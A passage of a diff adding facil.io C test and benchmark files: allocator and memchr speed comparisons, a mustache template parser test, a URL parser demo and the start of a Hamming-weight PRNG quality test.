+  result *= primes[2];
+  return result;
+
+#undef fio_risky_round_single
+#undef fio_risky_round_256
+}
+
+#if TEST_XXHASH
+#include "xxhash.c"
+#endif

facil.io/tests/malloc_speed.c

@@ -0,0 +1,178 @@
+#include <fio.h>
+
+#include <pthread.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <time.h>
+
+#define TEST_CYCLES_START 128
+#define TEST_CYCLES_END 256
+#define TEST_CYCLES_REPEAT 3
+#define REPEAT_LIB_TEST 0
+
+static size_t test_mem_functions(void *(*malloc_func)(size_t),
+                                 void *(*calloc_func)(size_t, size_t),
+                                 void *(*realloc_func)(void *, size_t),
+                                 void (*free_func)(void *)) {
+  size_t clock_alloc = 0, clock_realloc = 0, clock_free = 0, clock_free2 = 0,
+         clock_calloc = 0, fio_optimized = 0, fio_optimized2 = 0, errors = 0;
+  for (int i = TEST_CYCLES_START; i < TEST_CYCLES_END; ++i) {
+    for (int repeat = 0; repeat < TEST_CYCLES_REPEAT; ++repeat) {
+      void **pointers = calloc_func(sizeof(*pointers), 4096);
+      clock_t start;
+
+      /* malloc */
+      start = clock();
+      for (int j = 0; j < 4096; ++j) {
+        pointers[j] = malloc_func(i << 4);
+        if (i) {
+          if (!pointers[j])
+            ++errors;
+          else
+            ((char *)pointers[j])[0] = '1';
+        }
+      }
+      clock_alloc += clock() - start;
+
+      /* realloc */
+      start = clock();
+      for (int j = 0; j < 4096; ++j) {
+        void *tmp = realloc_func(pointers[j], i << 5);
+        if (tmp) {
+          pointers[j] = tmp;
+          ((char *)pointers[j])[0] = '1';
+        } else if (i)
+          ++errors;
+      }
+      clock_realloc += clock() - start;
+
+      /* free (testing) */
+      start = clock();
+      for (int j = 0; j < 4096; ++j) {
+        free_func(pointers[j]);
+        pointers[j] = NULL;
+      }
+      clock_free += clock() - start;
+
+      /* calloc */
+      start = clock();
+      for (int j = 0; j < 4096; ++j) {
+        pointers[j] = calloc_func(16, i);
+        if (i) {
+          if (!pointers[j])
+            ++errors;
+          else
+            ((char *)pointers[j])[0] = '1';
+        }
+      }
+      clock_calloc += clock() - start;
+
+      /* free (no test) */
+      start = clock();
+      for (int j = 0; j < 4096; ++j) {
+        free_func(pointers[j]);
+      }
+      clock_free2 += clock() - start;
+
+      /* facil.io use-case */
+      start = clock();
+      for (int j = 0; j < 4096; ++j) {
+        pointers[j] = malloc_func(i << 4);
+        if (i) {
+          if (!pointers[j])
+            ++errors;
+          else
+            ((char *)pointers[j])[0] = '1';
+        }
+      }
+      for (int j = 0; j < 4096; ++j) {
+        free_func(pointers[j]);
+      }
+      fio_optimized += clock() - start;
+
+      /* facil.io use-case */
+      start = clock();
+      for (int j = 0; j < 4096; ++j) {
+        pointers[j] = malloc_func(i << 4);
+        if (i) {
+          if (!pointers[j])
+            ++errors;
+          else
+            ((char *)pointers[j])[0] = '1';
+        }
+        free_func(pointers[j]);
+      }
+      fio_optimized2 += clock() - start;
+
+      free_func(pointers);
+    }
+  }
+  clock_alloc /= (TEST_CYCLES_END - TEST_CYCLES_START) * TEST_CYCLES_REPEAT;
+  clock_realloc /= (TEST_CYCLES_END - TEST_CYCLES_START) * TEST_CYCLES_REPEAT;
+  clock_free /= (TEST_CYCLES_END - TEST_CYCLES_START) * TEST_CYCLES_REPEAT;
+  clock_free2 /= (TEST_CYCLES_END - TEST_CYCLES_START) * TEST_CYCLES_REPEAT;
+  clock_calloc /= (TEST_CYCLES_END - TEST_CYCLES_START) * TEST_CYCLES_REPEAT;
+  fio_optimized /= (TEST_CYCLES_END - TEST_CYCLES_START) * TEST_CYCLES_REPEAT;
+  fio_optimized2 /= (TEST_CYCLES_END - TEST_CYCLES_START) * TEST_CYCLES_REPEAT;
+  fprintf(stderr, "* Avrg. clock count for malloc: %zu\n", clock_alloc);
+  fprintf(stderr, "* Avrg. clock count for calloc: %zu\n", clock_calloc);
+  fprintf(stderr, "* Avrg. clock count for realloc: %zu\n", clock_realloc);
+  fprintf(stderr, "* Avrg. clock count for free: %zu\n", clock_free);
+  fprintf(stderr, "* Avrg. clock count for free (re-cycle): %zu\n",
+          clock_free2);
+  fprintf(stderr,
+          "* Avrg. clock count for a facil.io use-case round"
+          " (medium-short life): %zu\n",
+          fio_optimized);
+  fprintf(stderr,
+          "* Avrg. clock count for a zero-life span"
+          " (malloc-free): %zu\n",
+          fio_optimized2);
+  fprintf(stderr, "* Failed allocations: %zu\n", errors);
+  return clock_alloc + clock_realloc + clock_free + clock_calloc + clock_free2;
+}
+
+void *test_system_malloc(void *ignr) {
+  (void)ignr;
+  uintptr_t result = test_mem_functions(malloc, calloc, realloc, free);
+  return (void *)result;
+}
+void *test_facil_malloc(void *ignr) {
+  (void)ignr;
+  uintptr_t result =
+      test_mem_functions(fio_malloc, fio_calloc, fio_realloc, fio_free);
+  return (void *)result;
+}
+
+int main(void) {
+#if DEBUG
+  fprintf(stderr, "\n=== WARNING: performance tests using the DEBUG mode are "
+                  "invalid. \n");
+#endif
+  pthread_t thread2;
+  void *thrd_result;
+
+  /* test system allocations */
+  fprintf(stderr, "===== Performance Testing system memory allocator "
+                  "(please wait):\n ");
+  FIO_ASSERT(pthread_create(&thread2, NULL, test_system_malloc, NULL) == 0,
+             "Couldn't spawn thread.");
+  size_t system = test_mem_functions(malloc, calloc, realloc, free);
+  FIO_ASSERT(pthread_join(thread2, &thrd_result) == 0, "Couldn't join thread");
+  system += (uintptr_t)thrd_result;
+  fprintf(stderr, "Total Cycles: %zu\n", system);
+
+  /* test facil.io allocations */
+  fprintf(stderr, "\n===== Performance Testing facil.io memory allocator "
+                  "(please wait):\n");
+  FIO_ASSERT(pthread_create(&thread2, NULL, test_facil_malloc, NULL) == 0,
+             "Couldn't spawn thread.");
+  size_t fio =
+      test_mem_functions(fio_malloc, fio_calloc, fio_realloc, fio_free);
+  FIO_ASSERT(pthread_join(thread2, &thrd_result) == 0, "Couldn't join thread");
+  fio += (uintptr_t)thrd_result;
+  fprintf(stderr, "Total Cycles: %zu\n", fio);
+
+  return 0; // fio > system;
+}

facil.io/tests/memchr_speed.c

@@ -0,0 +1,217 @@
+#define FIO_INCLUDE_STR
+#include <fio.h>
+#include <fio_cli.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+static inline int seek1(register uint8_t **buffer,
+                        register uint8_t *const limit, const uint8_t c) {
+  while (*buffer < limit) {
+    if (**buffer == c)
+      return 1;
+    (*buffer)++;
+  }
+  return 0;
+}
+
+static inline int seek_memchr(uint8_t **buffer, uint8_t *const limit,
+                              const uint8_t c) {
+  if (limit - *buffer == 0)
+    return 0;
+  void *tmp = memchr(*buffer, c, limit - (*buffer));
+  if (tmp) {
+    *buffer = tmp;
+    return 1;
+  }
+  *buffer = (uint8_t *)limit;
+  return 0;
+}
+
+/**
+ * This seems to be faster on some systems, especially for smaller distances.
+ *
+ * On newer systems, `memchr` should be faster.
+ */
+static inline int seek3(uint8_t **buffer, register uint8_t *const limit,
+                        const uint8_t c) {
+  if (**buffer == c)
+    return 1;
+
+#if !__x86_64__ && !__aarch64__
+  /* too short for this mess */
+  if ((uintptr_t)limit <= 16 + ((uintptr_t)*buffer & (~(uintptr_t)7)))
+    goto finish;
+
+  /* align memory */
+  {
+    const uint8_t *alignment =
+        (uint8_t *)(((uintptr_t)(*buffer) & (~(uintptr_t)7)) + 8);
+    if (limit >= alignment) {
+      while (*buffer < alignment) {
+        if (**buffer == c)
+          return 1;
+        *buffer += 1;
+      }
+    }
+  }
+  const uint8_t *limit64 = (uint8_t *)((uintptr_t)limit & (~(uintptr_t)7));
+#else
+  const uint8_t *limit64 = (uint8_t *)limit - 7;
+#endif
+  uint64_t wanted1 = 0x0101010101010101ULL * c;
+  for (; *buffer < limit64; *buffer += 8) {
+    const uint64_t eq1 = ~((*((uint64_t *)*buffer)) ^ wanted1);
+    const uint64_t t0 = (eq1 & 0x7f7f7f7f7f7f7f7fllu) + 0x0101010101010101llu;
+    const uint64_t t1 = (eq1 & 0x8080808080808080llu);
+    if ((t0 & t1)) {
+      break;
+    }
+  }
+#if !__x86_64__ && !__aarch64__
+finish:
+#endif
+  while (*buffer < limit) {
+    if (**buffer == c)
+      return 1;
+    (*buffer)++;
+  }
+
+  return 0;
+}
+
+static inline int seek4(register uint8_t **buffer,
+                        register uint8_t *const limit, const uint8_t c) {
+#ifndef __SIZEOF_INT128__
+  return 0;
+#else
+  if (**buffer == c)
+    return 1;
+
+  /* move by step until memory unalignment */
+  {
+    const uint8_t *alignment =
+        (uint8_t *)(((uintptr_t)(*buffer) & (~(uintptr_t)15)) + 16);
+    if (limit >= alignment) {
+      while (*buffer < alignment) {
+        if (**buffer == c)
+          return 1;
+        *buffer += 1;
+      }
+    }
+  }
+  const __uint128_t just_1_bit = ((((__uint128_t)0x0101010101010101ULL) << 64) |
+                                  (__uint128_t)0x0101010101010101ULL);
+  const __uint128_t is_7bit_set =
+      ((((__uint128_t)0x7f7f7f7f7f7f7f7fULL) << 64) |
+       (__uint128_t)0x7f7f7f7f7f7f7f7fULL);
+  const __uint128_t is_1bit_set =
+      ((((__uint128_t)0x8080808080808080ULL) << 64) |
+       (__uint128_t)0x8080808080808080ULL);
+
+  __uint128_t wanted1 = just_1_bit * c;
+  __uint128_t *lpos = (__uint128_t *)*buffer;
+  __uint128_t *llimit = ((__uint128_t *)limit) - 1;
+
+  for (; lpos < llimit; lpos++) {
+    const __uint128_t eq1 = ~((*lpos) ^ wanted1);
+    const __uint128_t t0 = (eq1 & is_7bit_set) + just_1_bit;
+    const __uint128_t t1 = (eq1 & is_1bit_set);
+    if ((t0 & t1)) {
+      break;
+    }
+  }
+
+  *buffer = (uint8_t *)lpos;
+
+  while (*buffer < limit) {
+    if (**buffer == c)
+      return 1;
+    (*buffer)++;
+  }
+  return 0;
+#endif
+}
+
+#define RUNS 8
+int main(int argc, char const **argv) {
+
+  fio_cli_start(
+      argc, argv, 1, 0,
+      "This program tests the memchr speed against a custom implementation. "
+      "It's meant to be used against defferent data to test how seeking "
+      "performs in different circumstances.\n use: appname <filename>",
+      "-c the char to be tested against (only the fist char in the string");
+  if (fio_cli_unnamed_count()) {
+    fio_cli_set_default("-f", fio_cli_unnamed(0));
+  } else {
+    fio_cli_set_default("-f", __FILE__);
+  }
+  fio_cli_set_default("-c", "\n");
+  // fio_cli_set_default(name, value)
+  clock_t start, end;
+  uint8_t *pos;
+  uint8_t *stop;
+  size_t count;
+
+  fprintf(stderr, "Size of longest word found %lu\n",
+          sizeof(unsigned long long));
+
+  struct {
+    int (*func)(uint8_t **buffer, uint8_t *const limit, const uint8_t c);
+    const char *name;
+  } seek_funcs[] = {
+      {.func = seek1, .name = "seek1 (basic loop)"},
+      {.func = seek_memchr, .name = "memchr (system)"},
+      {.func = seek3, .name = "seek3 (64 bit word at a time)"},
+#ifdef __SIZEOF_INT128__
+      {.func = seek4, .name = "seek4 (128 bit word at a time)"},
+#endif
+      {.func = NULL, .name = NULL},
+  };
+  size_t func_pos = 0;
+
+  uint8_t char2find = fio_cli_get("-c")[0];
+  fio_str_s str = FIO_STR_INIT;
+  fio_str_info_s data = fio_str_readfile(&str, fio_cli_get("-f"), 0, 0);
+  if (!data.len) {
+    fprintf(stderr, "ERROR: Couldn't open file %s\n", fio_cli_get("-f"));
+    exit(-1);
+  }
+  fprintf(stderr, "Starting to test file with %lu bytes\n",
+          (unsigned long)data.len);
+
+  while (seek_funcs[func_pos].func) {
+    fprintf(stderr, "\nTesting %s:\n  (", seek_funcs[func_pos].name);
+    size_t avrg = 0;
+    for (size_t i = 0; i < RUNS; i++) {
+      if (i)
+        fprintf(stderr, " + ");
+      pos = (uint8_t *)data.data;
+      stop = (uint8_t *)data.data + data.len;
+      count = 0;
+      if (!pos || !stop)
+        perror("WTF?!"), exit(errno);
+
+      start = clock();
+      while (pos < stop && seek_funcs[func_pos].func(&pos, stop, char2find)) {
+        if (!pos)
+          perror("WTF?!2!"), exit(errno);
+        pos++;
+        count++;
+      }
+      end = clock();
+      avrg += end - start;
+      fprintf(stderr, "%lu", end - start);
+    }
+    fprintf(stderr, ")/%d\n === finding %lu items in %zu bytes took %lfs\n",
+            RUNS, count, data.len, (avrg / RUNS) / (1.0 * CLOCKS_PER_SEC));
+    func_pos++;
+  }
+  fprintf(stderr, "\n");
+
+  fio_str_free(&str);
+  fio_cli_end();
+}

facil.io/tests/mustache.c.h

@@ -0,0 +1,282 @@
+#include "fio.h"
+
+#define INCLUDE_MUSTACHE_IMPLEMENTATION 1
+#include "mustache_parser.h"
+
+static size_t callback_count = 0;
+
+static struct {
+  enum cb_type_e {
+    CB_ERROR,
+    CB_ON_TEXT,
+    CB_ON_ARG,
+    CB_ON_ARG_UNESCAPE,
+    CB_ON_TEST,
+    CB_ON_START,
+  } cb_type;
+  void *udata1;
+} callback_expected[] = {
+    {CB_ON_TEXT, (void *)0},         {CB_ON_TEST, (void *)0},
+    {CB_ON_START, (void *)0},        {CB_ON_ARG, (void *)1},
+    {CB_ON_START, (void *)0},        {CB_ON_ARG, (void *)1},
+    {CB_ON_ARG_UNESCAPE, (void *)0}, {CB_ON_ARG_UNESCAPE, (void *)0},
+    {CB_ON_TEST, (void *)0},         {CB_ON_START, (void *)0},
+    {CB_ON_ARG_UNESCAPE, (void *)1}, {CB_ON_ARG_UNESCAPE, (void *)1},
+    {CB_ON_TEST, (void *)1},         {CB_ERROR, NULL},
+};
+
+static const size_t callback_max =
+    sizeof(callback_expected) / sizeof(callback_expected[0]);
+
+static void mustache_test_callback(mustache_section_s *section,
+                                   enum cb_type_e expected) {
+  switch (expected) {
+  case CB_ON_TEXT:
+    fprintf(stderr, "* mustache callback for text detected.\n");
+    break;
+  case CB_ON_ARG:
+    fprintf(stderr, "* mustache callback for argument detected.\n");
+    break;
+  case CB_ON_ARG_UNESCAPE:
+    fprintf(stderr, "* mustache callback for unescaped argument detected.\n");
+    break;
+  case CB_ON_TEST: {
+    size_t len;
+    const char *txt = mustache_section_text(section, &len);
+    if (txt)
+      fprintf(stderr,
+              "* mustache callback for section testing detected. section "
+              "string:\n%.*s\n",
+              (int)len, txt);
+    else
+      fprintf(stderr, "* mustache callback for section testing detected (no "
+                      "string data available)\n");
+  } break;
+  case CB_ON_START:
+    fprintf(stderr, "* mustache callback for section start detected.\n");
+    break;
+  case CB_ERROR:
+    fprintf(stderr, "* mustache callback for ERROR detected.\n");
+    break;
+  }
+  if (callback_expected[callback_count].cb_type == CB_ERROR) {
+    fprintf(stderr, "FAILED: mustache callback count overflow\n");
+    exit(-1);
+  }
+
+  if (callback_expected[callback_count].cb_type != expected) {
+    fprintf(stderr,
+            "FAILED: mustache callback type mismatch (count: %zu, expected %u, "
+            "got %u)\n",
+            callback_count, callback_expected[callback_count].cb_type,
+            expected);
+    exit(-1);
+  }
+  if (callback_expected[callback_count].udata1 != section->udata1) {
+    fprintf(stderr,
+            "FAILED: mustache callback udata1 mismatch (count: %zu, expected "
+            "%p, got %p)\n",
+            callback_count, callback_expected[callback_count].udata1,
+            section->udata1);
+    exit(-1);
+  }
+  ++callback_count;
+}
+
+static int mustache_on_arg(mustache_section_s *section, const char *name,
+                           uint32_t name_len, unsigned char escape) {
+  mustache_test_callback(section, escape ? CB_ON_ARG : CB_ON_ARG_UNESCAPE);
+  (void)name;
+  (void)name_len;
+  return 0;
+}
+
+static int mustache_on_text(mustache_section_s *section, const char *data,
+                            uint32_t data_len) {
+  mustache_test_callback(section, CB_ON_TEXT);
+  (void)data;
+  (void)data_len;
+  return 0;
+}
+
+static int32_t mustache_on_section_test(mustache_section_s *section,
+                                        const char *name, uint32_t name_len,
+                                        uint8_t callable) {
+  fprintf(stderr, "* mustache testing section %.*s\n", (int)name_len, name);
+  mustache_test_callback(section, CB_ON_TEST);
+  (void)name;
+  (void)name_len;
+  static size_t ret = 0;
+  switch (ret++) {
+  case 0:
+    return 2;
+  case 1:
+    return 0;
+  default:
+    return 1;
+  }
+  (void)callable;
+}
+
+static int mustache_on_section_start(mustache_section_s *section,
+                                     char const *name, uint32_t name_len,
+                                     uint32_t index) {
+  fprintf(stderr, "* mustache entering section %.*s\n", (int)name_len, name);
+  mustache_test_callback(section, CB_ON_START);
+  section->udata1 = (void *)((uintptr_t)section->udata1 + 1);
+  (void)index;
+  (void)name;
+  (void)name_len;
+  return 0;
+}
+
+static void mustache_on_formatting_error(void *udata1, void *udata2) {
+  FIO_LOG_ERROR("mustache formatting error.");
+  (void)udata1;
+  (void)udata2;
+}
+
+static inline void save2file(char const *filename, char const *data,
+                             size_t length) {
+  int fd = open(filename, O_CREAT | O_RDWR, 0);
+  if (fd == -1) {
+    perror("Couldn't open / create file for template testing");
+    exit(-1);
+  }
+  fchmod(fd, 0777);
+  if (pwrite(fd, data, length, 0) != (ssize_t)length) {
+    perror("Mustache template write error");
+    exit(-1);
+  }
+  close(fd);
+}
+
+static inline void mustache_print_instructions(mustache_s *m) {
+  mustache__instruction_s *ary = (mustache__instruction_s *)(m + 1);
+  for (uint32_t i = 0; i < m->u.read_only.intruction_count; ++i) {
+    char *name = NULL;
+    switch (ary[i].instruction) {
+    case MUSTACHE_WRITE_TEXT:
+      name = "MUSTACHE_WRITE_TEXT";
+      break;
+    case MUSTACHE_WRITE_ARG:
+      name = "MUSTACHE_WRITE_ARG";
+      break;
+    case MUSTACHE_WRITE_ARG_UNESCAPED:
+      name = "MUSTACHE_WRITE_ARG_UNESCAPED";
+      break;
+    case MUSTACHE_SECTION_START:
+      name = "MUSTACHE_SECTION_START";
+      break;
+    case MUSTACHE_SECTION_START_INV:
+      name = "MUSTACHE_SECTION_START_INV";
+      break;
+    case MUSTACHE_SECTION_END:
+      name = "MUSTACHE_SECTION_END";
+      break;
+    case MUSTACHE_SECTION_GOTO:
+      name = "MUSTACHE_SECTION_GOTO";
+      break;
+    case MUSTACHE_PADDING_PUSH:
+      name = "MUSTACHE_PADDING_PUSH";
+      break;
+    case MUSTACHE_PADDING_POP:
+      name = "MUSTACHE_PADDING_POP";
+      break;
+    case MUSTACHE_PADDING_WRITE:
+      name = "MUSTACHE_PADDING_WRITE";
+      break;
+    default:
+      name = "UNKNOWN!!!";
+      break;
+    }
+    fprintf(stderr, "[%u] %s, start: %u, len %u\n", i, name,
+            ary[i].data.name_pos, ary[i].data.name_len);
+  }
+}
+
+void mustache_test(void) {
+  fprintf(stderr, "=== Testing Mustache parser (mustache_parser.h)\n");
+  char const *template =
+      "Hi there{{#user}}{{name}}{{/user}}{{> mustache_test_partial }}";
+  char const *partial = "{{& raw1}}{{{raw2}}}{{^negative}}"
+                        "{{> mustache_test_partial }}{{=<< >>=}}<</negative>>";
+  char const *partial2 = "{{& raw1}}{{{raw2}}}{{^negative}}"
+                         "{{=<< >>=}}<</negative>>";
+  char const *template_name = "mustache_test_template.mustache";
+  char const *partial_name = "mustache_test_partial.mustache";
+  save2file(template_name, template, strlen(template));
+  mustache_error_en err = MUSTACHE_OK;
+  mustache_s *m;
+  m = mustache_load(.filename = template_name, .err = &err);
+  if (m) {
+    unlink(template_name);
+    FIO_ASSERT(!m,
+               "Mustache template loading should have failed without partial "
+               "(err = %u)\n",
+               err);
+  }
+  save2file(partial_name, partial, strlen(partial));
+
+  m = mustache_load(.filename = template_name, .err = &err);
+  if (!m) {
+    unlink(template_name);
+    unlink(partial_name);
+    FIO_ASSERT(m, "Mustache template loading from file failed with error %u\n",
+               err);
+  }
+  mustache_free(m);
+  m = mustache_load(.data = partial2, .data_len = strlen(partial2),
+                    .err = &err);
+  if (!m) {
+    unlink(template_name);
+    unlink(partial_name);
+    FIO_ASSERT(
+        m, "Mustache template loading partial as data failed with error %u\n",
+        err);
+  }
+  mustache_free(m);
+  m = mustache_load(.filename = template_name, .data = template,
+                    .data_len = strlen(template), .err = &err);
+  unlink(template_name);
+  unlink(partial_name);
+
+  uint32_t expected[] = {
+      MUSTACHE_SECTION_START,       MUSTACHE_WRITE_TEXT,
+      MUSTACHE_SECTION_START,       MUSTACHE_WRITE_ARG,
+      MUSTACHE_SECTION_END,         MUSTACHE_SECTION_START,
+      MUSTACHE_WRITE_ARG_UNESCAPED, MUSTACHE_WRITE_ARG_UNESCAPED,
+      MUSTACHE_SECTION_START_INV,   MUSTACHE_SECTION_GOTO,
+      MUSTACHE_SECTION_END,         MUSTACHE_SECTION_END,
+      MUSTACHE_SECTION_END,
+  };
+
+  FIO_ASSERT(m, "Mustache template loading failed with error %u\n", err);
+
+  fprintf(stderr, "* template loaded, testing template instruction array.\n");
+  mustache_print_instructions(m);
+  mustache__instruction_s *ary = (mustache__instruction_s *)(m + 1);
+
+  FIO_ASSERT(m->u.read_only.intruction_count == 13,
+             "Mustache template instruction count error %u\n",
+             m->u.read_only.intruction_count);
+
+  for (uint16_t i = 0; i < 13; ++i) {
+    FIO_ASSERT(ary[i].instruction == expected[i],
+               "Mustache instraction[%u] error, type %u != %u\n", i,
+               ary[0].instruction, expected[i]);
+  }
+  fprintf(stderr,
+          "* template loaded, testing template build callbacks for data.\n");
+  mustache_build(m, .udata1 = NULL, .err = &err);
+  FIO_ASSERT(!err, "Mustache template building template failed with error %u\n",
+             err);
+  FIO_ASSERT(callback_count + 1 == callback_max,
+             "Callback count error %zu != %zu", callback_count + 1,
+             callback_max);
+  FIO_ASSERT(callback_expected[callback_count].cb_type == CB_ERROR,
+             "Callback type error on finish");
+  /* cleanup */
+  mustache_free(m);
+  fprintf(stderr, "* passed.\n");
+}

facil.io/tests/parse_url.c

@@ -0,0 +1,22 @@
+#include "fio.h"
+
+int main(int argc, char const *argv[]) {
+  if (argc < 2)
+    return -1;
+  fio_url_s u = fio_url_parse(argv[1], strlen(argv[1]));
+  fprintf(stderr,
+          "Parsed URL:\n"
+          "\tscheme:\t %.*s\n"
+          "\tuser:\t%.*s\n"
+          "\tpass:\t%.*s\n"
+          "\thost:\t%.*s\n"
+          "\tport:\t%.*s\n"
+          "\tpath:\t%.*s\n"
+          "\tquery:\t%.*s\n"
+          "\ttarget:\t%.*s\n",
+          (int)u.scheme.len, u.scheme.data, (int)u.user.len, u.user.data,
+          (int)u.password.len, u.password.data, (int)u.host.len, u.host.data,
+          (int)u.port.len, u.port.data, (int)u.path.len, u.path.data,
+          (int)u.query.len, u.query.data, (int)u.target.len, u.target.data);
+  return 0;
+}

facil.io/tests/random.c

@@ -0,0 +1,734 @@
+#include "fio.h"
+
+#define HWD_BITS 64
+
+static uint64_t next(void) { return fio_rand64(); }
+
+/*
+ * Copyright (C) 2004-2016 David Blackman.
+ * Copyright (C) 2017-2018 David Blackman and Sebastiano Vigna.
+ *
+ *  This program is free software; you can redistribute it and/or modify it
+ *  under the terms of the GNU General Public License as published by the Free
+ *  Software Foundation; either version 2 of the License, or (at your option)
+ *  any later version.
+ *
+ *  This program is distributed in the hope that it will be useful, but
+ *  WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+ *  or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ *  for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+#include <assert.h>
+#include <fcntl.h>
+#include <float.h>
+#include <inttypes.h>
+#include <math.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include <unistd.h>
+#ifdef HWD_MMAP
+#include <sys/mman.h>
+#endif
+
+/*
+   HWD 1.1 (2018-05-24)
+
+   This code implements the Hamming-weight dependency test based on z9
+   from gjrand 4.2.1.0 and described in detail in
+
+   David Blackman and Sebastiano Vigna, "Scrambled linear pseudorandom number
+   generators", 2018.
+
+   Please refer to the paper for details about the test.
+
+   To compile, you must define:
+
+   - HWD_BITS, which is the width of the word tested (parameter w in the paper);
+     must be 32, 64, or 128.
+   - HWD_PRNG_BITS, which is the number of bits output by the PRNG, and it is by
+     default HWD_BITS. Presently legal combinations are 32/32, 32/64,
+     64/64 and 128/64.
+   - Optionally HWD_DIM, which defines the length of the signatures examined
+     (parameter k in the paper). Valid values are between 1 and 19;
+     the default value is 8.
+   - Optionally, HWD_NOPOPCOUNT, if your compiler does not support gcc's
+   builtins.
+   - Optionally, HWD_NUMCATS, if you want to override the default number
+     of categories. Valid values are between 1 and HWD_DIM; the default value
+     is HWD_DIM/2 + 1.
+   - Optionally, HWD_MMAP if you want to allocate memory in huge pages using
+   mmap().
+
+   You must insert the code for your PRNG, providing a suitable next()
+   method (returning a uint32_t or a uint64_t, depending on HWD_PRNG_BITS)
+   at the HERE comment below. You may additionally initialize his state in
+   the main() if necessary.
+*/
+
+#ifndef HWD_DIM
+// This must be at most 19
+#define DIM (8)
+#else
+#define DIM (HWD_DIM)
+#endif
+
+#ifndef HWD_NUMCATS
+// This must be at most DIM
+#define NUMCATS (DIM / 2 + 1)
+#else
+#define NUMCATS (HWD_NUMCATS)
+#endif
+
+// Number of bits used for the sum in cs[] (small counters/sums).
+#define SUM_BITS (19)
+
+// Compile-time computation of 3^DIM
+#define SIZE                                                                   \
+  ((DIM >= 1 ? UINT64_C(3) : UINT64_C(1)) * (DIM >= 2 ? 3 : 1) *               \
+   (DIM >= 3 ? 3 : 1) * (DIM >= 4 ? 3 : 1) * (DIM >= 5 ? 3 : 1) *              \
+   (DIM >= 6 ? 3 : 1) * (DIM >= 7 ? 3 : 1) * (DIM >= 8 ? 3 : 1) *              \
+   (DIM >= 9 ? 3 : 1) * (DIM >= 10 ? 3 : 1) * (DIM >= 11 ? 3 : 1) *            \
+   (DIM >= 12 ? 3 : 1) * (DIM >= 13 ? 3 : 1) * (DIM >= 14 ? 3 : 1) *           \
+   (DIM >= 15 ? 3 : 1) * (DIM >= 16 ? 3 : 1) * (DIM >= 17 ? 3 : 1) *           \
+   (DIM >= 18 ? 3 : 1) * (DIM >= 19 ? 3 : 1))
+
+// Fast division by 3; works up to DIM = 19.
+#define DIV3(x) ((x)*UINT64_C(1431655766) >> 32)
+
+#ifndef HWD_PRNG_BITS
+#define HWD_PRNG_BITS HWD_BITS
+#endif
+
+// batch_size values MUST be even. P is the probability of a 1 trit.
+
+#if HWD_BITS == 32
+
+#define P (0.40338510414585471153)
+const int64_t batch_size[] = {-1,
+                              UINT64_C(16904),
+                              UINT64_C(37848),
+                              UINT64_C(88680),
+                              UINT64_C(213360),
+                              UINT64_C(520784),
+                              UINT64_C(1280664),
+                              UINT64_C(3160976),
+                              UINT64_C(7815952),
+                              UINT64_C(19342248),
+                              UINT64_C(47885112),
+                              UINT64_C(118569000),
+                              UINT64_C(293614056),
+                              UINT64_C(727107408),
+                              UINT64_C(1800643824),
+                              UINT64_C(4459239480),
+                              UINT64_C(11043223056),
+                              UINT64_C(27348419104),
+                              UINT64_C(67728213816),
+                              UINT64_C(167728896072)};
+
+#if HWD_PRNG_BITS == 64
+static uint64_t next(void);
+#define TEST_ITERATIONS(b) ((b) / 2)
+#elif HWD_PRNG_BITS == 32
+#define TEST_ITERATIONS(b) (b)
+static uint32_t next(void);
+#else
+#error "Test 32-bit test supports PRNG of size 32 or 64"
+#endif
+
+#elif HWD_BITS == 64
+
+#define P (0.46769122397215788544)
+const int64_t batch_size[] = {-1,
+                              UINT64_C(14744),
+                              UINT64_C(28320),
+                              UINT64_C(56616),
+                              UINT64_C(116264),
+                              UINT64_C(242784),
+                              UINT64_C(512040),
+                              UINT64_C(1086096),
+                              UINT64_C(2311072),
+                              UINT64_C(4926224),
+                              UINT64_C(10510376),
+                              UINT64_C(22435504),
+                              UINT64_C(47903280),
+                              UINT64_C(102294608),
+                              UINT64_C(218459240),
+                              UINT64_C(466556056),
+                              UINT64_C(996427288),
+                              UINT64_C(2128099936),
+                              UINT64_C(4545075936),
+                              UINT64_C(9707156552)};
+
+#if HWD_PRNG_BITS == 64
+#define TEST_ITERATIONS(b) (b)
+static uint64_t next(void);
+#else
+#error "Test 64-bit test supports PRNGs of size 64"
+#endif
+
+#elif HWD_BITS == 128
+
+#define P (0.46373128592889397439)
+const int64_t batch_size[] = {-1,
+                              UINT64_C(14856),
+                              UINT64_C(28792),
+                              UINT64_C(58088),
+                              UINT64_C(120392),
+                              UINT64_C(253680),
+                              UINT64_C(539816),
+                              UINT64_C(1155104),
+                              UINT64_C(2479360),
+                              UINT64_C(5330680),
+                              UINT64_C(11471256),
+                              UINT64_C(24696808),
+                              UINT64_C(53183328),
+                              UINT64_C(114541856),
+                              UINT64_C(246706584),
+                              UINT64_C(531387952),
+                              UINT64_C(1144590984),
+                              UINT64_C(2465432776),
+                              UINT64_C(5310537968),
+                              UINT64_C(11438933136)};
+
+#if HWD_PRNG_BITS == 64
+#define TEST_ITERATIONS(b) (b)
+static uint64_t next(void);
+#else
+#error "Test 128-bit test supports PRNG of size 64"
+#endif
+
+#else
+#error "Please define HWD_BITS as 32, 64, or 128"
+#endif
+
+#if HWD_BITS == 64 || HWD_BITS == 128
+
+#define WTYPE uint64_t
+#ifdef HWD_NO_POPCOUNT
+static inline int popcount64(uint64_t x) {
+  x = x - ((x >> 1) & 0x5555555555555555);
+  x = (x & 0x3333333333333333) + ((x >> 2) & 0x3333333333333333);
+  x = (x + (x >> 4)) & 0x0f0f0f0f0f0f0f0f;
+  x = x + (x >> 8);
+  x = x + (x >> 16);
+  x = x + (x >> 32);
+  return x & 0x7f;
+}
+#else
+#define popcount64(x) __builtin_popcountll(x)
+#endif
+
+#else /* HWD_BITS == 32 */
+
+#define WTYPE uint32_t
+#ifdef HWD_NO_POPCOUNT
+static inline int popcount32(uint32_t x) {
+  x = x - ((x >> 1) & 0x55555555);
+  x = (x & 0x33333333) + ((x >> 2) & 0x33333333);
+  x = (x + (x >> 4)) & 0x0f0f0f0f;
